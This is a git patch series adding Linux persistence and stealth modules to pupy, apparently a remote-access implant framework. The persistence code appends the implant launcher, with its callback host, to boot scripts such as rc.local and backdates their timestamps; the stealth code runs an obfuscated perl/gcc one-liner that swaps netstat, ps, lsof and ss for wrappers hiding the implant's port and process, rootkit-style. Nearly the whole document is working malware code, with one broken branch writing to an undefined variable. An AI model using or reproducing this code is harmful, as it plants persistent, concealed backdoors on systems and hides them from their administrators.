From 5d4aedf268ba27d93b0b58f53244d141fa1bae32 Mon Sep 17 00:00:00 2001 From: w0rm Date: Tue, 15 Dec 2015 18:59:09 +0200 Subject: [PATCH 1/2] fist commit --- pupy/modules/linux_pers.py | 24 +++++++++++++++ pupy/modules/linux_stealth.py | 25 +++++++++++++++ pupy/packages/linux/all/linux_pers.py | 39 ++++++++++++++++++++++++ pupy/packages/linux/all/linux_stealth.py | 39 ++++++++++++++++++++++++ 4 files changed, 127 insertions(+) create mode 100644 pupy/modules/linux_pers.py create mode 100644 pupy/modules/linux_stealth.py create mode 100644 pupy/packages/linux/all/linux_pers.py create mode 100644 pupy/packages/linux/all/linux_stealth.py diff --git a/pupy/modules/linux_pers.py b/pupy/modules/linux_pers.py new file mode 100644 index 00000000..45aca567 --- /dev/null +++ b/pupy/modules/linux_pers.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python +import os +from pupylib.PupyModule import * + +__class_name__="SetPersistence" +def print_callback(data): + sys.stdout.write(data) + sys.stdout.flush() + +class SetPersistence(PupyModule): + """Add your pp.py file to /etc/init.d/ scripts +NOTE: the pp.py script needs to be running with root privileges in order to modify the init scripts.""" + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="Linux Persistance Module", description=self.__doc__) + self.arg_parser.add_argument('--path', help='path to your pp.py file on the system, ex: /etc/pp.py') + self.arg_parser.add_argument('--mode', help='mode to be passes on the script, ex: simple') + self.arg_parser.add_argument('--transport', help='transport argument to be passed on the script, ex: tcp_ssl') + self.arg_parser.add_argument('--host', help='host argument to be passed on the script, ex: 192.168.0.100:4444') + + def run(self, args): + self.client.load_package("linux_pers") + self.client.conn.modules['linux_pers'].add(args.path, args.mode, args.transport, args.host) + self.success("Module executed successfully.") diff --git a/pupy/modules/linux_stealth.py b/pupy/modules/linux_stealth.py new file mode 100644 index 00000000..f38b4630 --- /dev/null +++ b/pupy/modules/linux_stealth.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python +from pupylib.PupyModule import * + +__class_name__="SetStealth" +def print_callback(data): + sys.stdout.write(data) + sys.stdout.flush() + +class SetStealth(PupyModule): + """Hides the runnin process from netstat, ss, ps, lsof by using modified binaries. Be careful when choosing the port. +Credis to: http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/ + +********************** /!\ WARNING /!\ ********************** +* Do NOT run the stealh module more than ONCE on a machine. * +* Running it two times will brake the binaries. * +************************************************************* +NOTE: The pp.py script needs to be running with root privileges in order to run rhis module.""" + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="Linux Stealth Module", description=self.__doc__) + self.arg_parser.add_argument('--port', help='The port number to which Pupy is connecting to.') + + def run(self, args): + self.client.load_package("linux_stealth") + self.client.conn.modules['linux_stealth'].run(args.port) + self.success("Module executed successfully.") diff --git a/pupy/packages/linux/all/linux_pers.py b/pupy/packages/linux/all/linux_pers.py new file mode 100644 index 00000000..34eb340a --- /dev/null +++ b/pupy/packages/linux/all/linux_pers.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python +import os + +def add(path, mode, transport, host): + if os.path.isfile("/etc/init.d/rc.local")==True: + if path in open("/etc/init.d/rc.local").read(): + exit + else: + with open("/etc/init.d/rc.local", "a") as local: + local.write(path+" "+mode+" --transport "+transport+" --host "+host+' > /dev/null 2>&1 &') + local.close + os.utime("/etc/init.d/rc.local",(1330712292,1330712292)) + elif os.path.isfile("/etc/rc")==True: + if path in open("/etc/rc").read(): + exit + else: + os.system("head -n-1 /etc/rc > /etc/rc2 && rm -f /etc/rc && mv /etc/rc2 /etc/rc") + with open("/etc/rc", "a") as rc: + rc.write(path+" "+mode+" --transport "+transport+" --host "+host+' > /dev/null 2>&1 &'+'\n') + rc.write("exit 0") + rc.close + os.utime("/etc/rc",(1330712292,1330712292)) + elif os.path.isfile("/etc/rc.d/rc.local")==True: + if path in open("/etc/rc.d/rc.local").read(): + exit + else: + with open("/etc/rc.d/rc.local", "a") as rc2: + rc2.write(path+" "+mode+" --transport "+transport+" --host "+host+' > /dev/null 2>&1 &') + rc2.close() + os.system("chmod +x /etc/rc.d/rc.local") + os.utime("/etc/rc.d/rc.local",(1330712292,1330712292)) + elif os.path.isfile("/etc/init.d/dbus")==True: + if path in open("/etc/init.d/dbus").read(): + exit + else: + with open("/etc/init.d/dbus", "a") as dbus: + cron.write(path+" "+mode+" --transport "+transport+" --host "+host+' > /dev/null 2>&1 &'+'\n') + cron.close + os.utime("/etc/init.d/dbus",(1330712292,1330712292)) diff --git a/pupy/packages/linux/all/linux_stealth.py b/pupy/packages/linux/all/linux_stealth.py new file mode 100644 index 00000000..74f7e738 --- /dev/null +++ b/pupy/packages/linux/all/linux_stealth.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +import os +import subprocess +import time + +def run(port): + def cmd_exists(cmd): + return subprocess.call("type " + cmd, shell=True, + stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 + if cmd_exists("gcc") == True: + bash=r"""which netstat ps lsof|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\"""+'"'+port+"""|\$\$|[$s-$n]|grep\\\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}'""" + #subprocess.call(bash, shell=True) + with open('/tmp/b', 'w') as f: + f.write(bash) + f.close() + os.system("bash /tmp/b") + time.sleep(3) + os.remove("/tmp/b") + else: + bash=r"""which netstat ps lsof |perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|"""+port+"""\\\\"";chmod 493,$o'""" + with open("/tmp/p", "w") as f: + f.write(bash) + f.close() + os.system("bash /tmp/p") + time.sleep(3) + os.remove("/tmp/p") + bashss="""#!/bin/bash +/bin/zss $* | grep -v """+port + get_ss_path=subprocess.check_output('which ss', shell=True) + path=get_ss_path[:-3] + os.system("mv "+path+"ss "+path+"zss") + with open(path+"ss", "w") as newss: + newss.write(bashss) + newss.close() + os.system("chmod +x "+path+"ss") +#blazo - fresh orange +#brock - september 22nd +#Creds to: www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/ From fb0dcb1e5d578fdf1b8f32af8ea489952784bc23 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Wed, 23 Dec 2015 19:00:57 +0100 Subject: [PATCH 2/2] small fixes --- pupy/modules/linux_pers.py | 34 +++++++----- pupy/modules/linux_stealth.py | 31 ++++++----- pupy/packages/all/pupyimporter.py | 2 +- pupy/packages/linux/all/linux_pers.py | 69 ++++++++++++------------ pupy/packages/linux/all/linux_stealth.py | 9 ++-- pupy/pupylib/PupyModule.py | 13 +++-- 6 files changed, 84 insertions(+), 74 deletions(-) diff --git a/pupy/modules/linux_pers.py b/pupy/modules/linux_pers.py index 45aca567..ffb97857 100644 --- a/pupy/modules/linux_pers.py +++ b/pupy/modules/linux_pers.py @@ -4,21 +4,27 @@ from pupylib.PupyModule import * __class_name__="SetPersistence" def print_callback(data): - sys.stdout.write(data) - sys.stdout.flush() + sys.stdout.write(data) + sys.stdout.flush() class SetPersistence(PupyModule): - """Add your pp.py file to /etc/init.d/ scripts + """Add your pp.py file to /etc/init.d/ scripts NOTE: the pp.py script needs to be running with root privileges in order to modify the init scripts.""" - def init_argparse(self): - self.arg_parser = PupyArgumentParser(prog="Linux Persistance Module", description=self.__doc__) - self.arg_parser.add_argument('--path', help='path to your pp.py file on the system, ex: /etc/pp.py') - self.arg_parser.add_argument('--mode', help='mode to be passes on the script, ex: simple') - self.arg_parser.add_argument('--transport', help='transport argument to be passed on the script, ex: tcp_ssl') - self.arg_parser.add_argument('--host', help='host argument to be passed on the script, ex: 192.168.0.100:4444') - - def run(self, args): - self.client.load_package("linux_pers") - self.client.conn.modules['linux_pers'].add(args.path, args.mode, args.transport, args.host) - self.success("Module executed successfully.") + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="Linux Persistance Module", description=self.__doc__) + self.arg_parser.add_argument('--path', help='path to your pp.py file on the system, ex: /etc/pp.py', required=True) + self.arg_parser.add_argument('--launcher', help='change the default launcher, ex: simple') + self.arg_parser.add_argument('--launcher-args', help='change the launcher default args') + + @unix_only + def is_compatible(self): + pass + def run(self, args): + if not args.launcher_args: + args.launcher_args=' '.join(self.client.get_conf()["launcher_args"]) + if not args.launcher: + args.launcher=self.client.get_conf()["launcher"] + self.client.load_package("linux_pers") + self.client.conn.modules['linux_pers'].add(args.path, args.launcher, args.launcher_args) + self.success("Module executed successfully.") diff --git a/pupy/modules/linux_stealth.py b/pupy/modules/linux_stealth.py index f38b4630..0aeafe18 100644 --- a/pupy/modules/linux_stealth.py +++ b/pupy/modules/linux_stealth.py @@ -2,24 +2,27 @@ from pupylib.PupyModule import * __class_name__="SetStealth" -def print_callback(data): - sys.stdout.write(data) - sys.stdout.flush() class SetStealth(PupyModule): - """Hides the runnin process from netstat, ss, ps, lsof by using modified binaries. Be careful when choosing the port. -Credis to: http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/ + """Hides the runnin process from netstat, ss, ps, lsof by using modified binaries. Be careful when choosing the port. +Credits to: http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/ ********************** /!\ WARNING /!\ ********************** * Do NOT run the stealh module more than ONCE on a machine. * -* Running it two times will brake the binaries. * +* Running it two times will brake the binaries. * ************************************************************* -NOTE: The pp.py script needs to be running with root privileges in order to run rhis module.""" - def init_argparse(self): - self.arg_parser = PupyArgumentParser(prog="Linux Stealth Module", description=self.__doc__) - self.arg_parser.add_argument('--port', help='The port number to which Pupy is connecting to.') +NOTE: The pp.py script needs to be running with root privileges in order to run this module.""" + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="Linux Stealth Module", description=self.__doc__) + self.arg_parser.add_argument('port', type=int, help='The port number to which Pupy is connecting to.') - def run(self, args): - self.client.load_package("linux_stealth") - self.client.conn.modules['linux_stealth'].run(args.port) - self.success("Module executed successfully.") + @unix_only + def is_compatible(self): + if self.client.conn.modules['subprocess'].check_output(r"ls -l `dirname \`which netstat\``/net*tat | wc -l", shell=True).strip() == "2": + return False, "It looks like this module has already been run on this machine." + return True, "" + + def run(self, args): + self.client.load_package("linux_stealth") + self.client.conn.modules['linux_stealth'].run(str(args.port)) + self.success("Module executed successfully.") diff --git a/pupy/packages/all/pupyimporter.py b/pupy/packages/all/pupyimporter.py index f6013e4f..4aab6cf7 100644 --- a/pupy/packages/all/pupyimporter.py +++ b/pupy/packages/all/pupyimporter.py @@ -76,7 +76,7 @@ class PupyPackageLoader: mod.__package__ = fullname.rsplit('.', 1)[0] sys.modules[fullname]=mod code = compile(self.contents, mod.__file__, "exec") - exec self.contents in mod.__dict__ + exec code in mod.__dict__ elif self.extension in ["pyc","pyo"]: mod = imp.new_module(fullname) mod.__name__ = fullname diff --git a/pupy/packages/linux/all/linux_pers.py b/pupy/packages/linux/all/linux_pers.py index 34eb340a..394d8c69 100644 --- a/pupy/packages/linux/all/linux_pers.py +++ b/pupy/packages/linux/all/linux_pers.py @@ -1,39 +1,36 @@ #!/usr/bin/env python import os -def add(path, mode, transport, host): - if os.path.isfile("/etc/init.d/rc.local")==True: - if path in open("/etc/init.d/rc.local").read(): - exit - else: - with open("/etc/init.d/rc.local", "a") as local: - local.write(path+" "+mode+" --transport "+transport+" --host "+host+' > /dev/null 2>&1 &') - local.close - os.utime("/etc/init.d/rc.local",(1330712292,1330712292)) - elif os.path.isfile("/etc/rc")==True: - if path in open("/etc/rc").read(): - exit - else: - os.system("head -n-1 /etc/rc > /etc/rc2 && rm -f /etc/rc && mv /etc/rc2 /etc/rc") - with open("/etc/rc", "a") as rc: - rc.write(path+" "+mode+" --transport "+transport+" --host "+host+' > /dev/null 2>&1 &'+'\n') - rc.write("exit 0") - rc.close - os.utime("/etc/rc",(1330712292,1330712292)) - elif os.path.isfile("/etc/rc.d/rc.local")==True: - if path in open("/etc/rc.d/rc.local").read(): - exit - else: - with open("/etc/rc.d/rc.local", "a") as rc2: - rc2.write(path+" "+mode+" --transport "+transport+" --host "+host+' > /dev/null 2>&1 &') - rc2.close() - os.system("chmod +x /etc/rc.d/rc.local") - os.utime("/etc/rc.d/rc.local",(1330712292,1330712292)) - elif os.path.isfile("/etc/init.d/dbus")==True: - if path in open("/etc/init.d/dbus").read(): - exit - else: - with open("/etc/init.d/dbus", "a") as dbus: - cron.write(path+" "+mode+" --transport "+transport+" --host "+host+' > /dev/null 2>&1 &'+'\n') - cron.close - os.utime("/etc/init.d/dbus",(1330712292,1330712292)) +def add(path, launcher, launcher_args): + if os.path.isfile("/etc/init.d/rc.local"): + if path in open("/etc/init.d/rc.local").read(): + return + else: + with open("/etc/init.d/rc.local", "a") as local: + local.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &') + os.utime("/etc/init.d/rc.local",(1330712292,1330712292)) + elif os.path.isfile("/etc/rc"): + if path in open("/etc/rc").read(): + return + else: + os.system("head -n-1 /etc/rc > /etc/rc2 && rm -f /etc/rc && mv /etc/rc2 /etc/rc") + with open("/etc/rc", "a") as rc: + rc.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n') + rc.write("exit 0") + os.utime("/etc/rc",(1330712292,1330712292)) + elif os.path.isfile("/etc/rc.d/rc.local"): + if path in open("/etc/rc.d/rc.local").read(): + return + else: + with open("/etc/rc.d/rc.local", "a") as rc2: + rc2.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &') + os.system("chmod +x /etc/rc.d/rc.local") + os.utime("/etc/rc.d/rc.local",(1330712292,1330712292)) + elif os.path.isfile("/etc/init.d/dbus"): + if path in open("/etc/init.d/dbus").read(): + return + else: + with open("/etc/init.d/dbus", "a") as dbus: + cron.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n') + os.utime("/etc/init.d/dbus",(1330712292,1330712292)) + diff --git a/pupy/packages/linux/all/linux_stealth.py b/pupy/packages/linux/all/linux_stealth.py index 74f7e738..94d04edd 100644 --- a/pupy/packages/linux/all/linux_stealth.py +++ b/pupy/packages/linux/all/linux_stealth.py @@ -4,16 +4,15 @@ import os import subprocess import time +def cmd_exists(cmd): + return subprocess.call("type " + cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 + def run(port): - def cmd_exists(cmd): - return subprocess.call("type " + cmd, shell=True, - stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 if cmd_exists("gcc") == True: bash=r"""which netstat ps lsof|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\"""+'"'+port+"""|\$\$|[$s-$n]|grep\\\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}'""" #subprocess.call(bash, shell=True) with open('/tmp/b', 'w') as f: f.write(bash) - f.close() os.system("bash /tmp/b") time.sleep(3) os.remove("/tmp/b") @@ -21,7 +20,6 @@ def run(port): bash=r"""which netstat ps lsof |perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|"""+port+"""\\\\"";chmod 493,$o'""" with open("/tmp/p", "w") as f: f.write(bash) - f.close() os.system("bash /tmp/p") time.sleep(3) os.remove("/tmp/p") @@ -32,7 +30,6 @@ def run(port): os.system("mv "+path+"ss "+path+"zss") with open(path+"ss", "w") as newss: newss.write(bashss) - newss.close() os.system("chmod +x "+path+"ss") #blazo - fresh orange #brock - september 22nd diff --git a/pupy/pupylib/PupyModule.py b/pupy/pupylib/PupyModule.py index abdaa9f4..a9d44e31 100644 --- a/pupy/pupylib/PupyModule.py +++ b/pupy/pupylib/PupyModule.py @@ -94,7 +94,8 @@ class PupyModule(object): def is_compatible(self): """ override this method to define if the script is compatible with the givent client. The first value of the returned tuple is True if the module is compatible with the client and the second is a string explaining why in case of incompatibility""" - return (True, "") + raise NotImplementedError("is_compatible is not implemented !") + #return (True, "") def is_daemon(self): return self.daemon @@ -135,13 +136,19 @@ class PupyModule(object): def windows_only(func): """ decorator for is_compatible method """ def wrapper(self): - return (self.client.is_windows(), "The module has only been implemented for windows systems") + is_win=self.client.is_windows() + if not is_win: + return (False, "The module has only been implemented for windows systems") + return func(self) return wrapper def unix_only(func): """ decorator for is_compatible method """ def wrapper(self): - return (self.client.is_unix(), "The module has only been implemented for unix systems") + is_unix=self.client.is_unix() + if not is_unix: + return (False, "The module has only been implemented for unix systems") + return func(self) return wrapper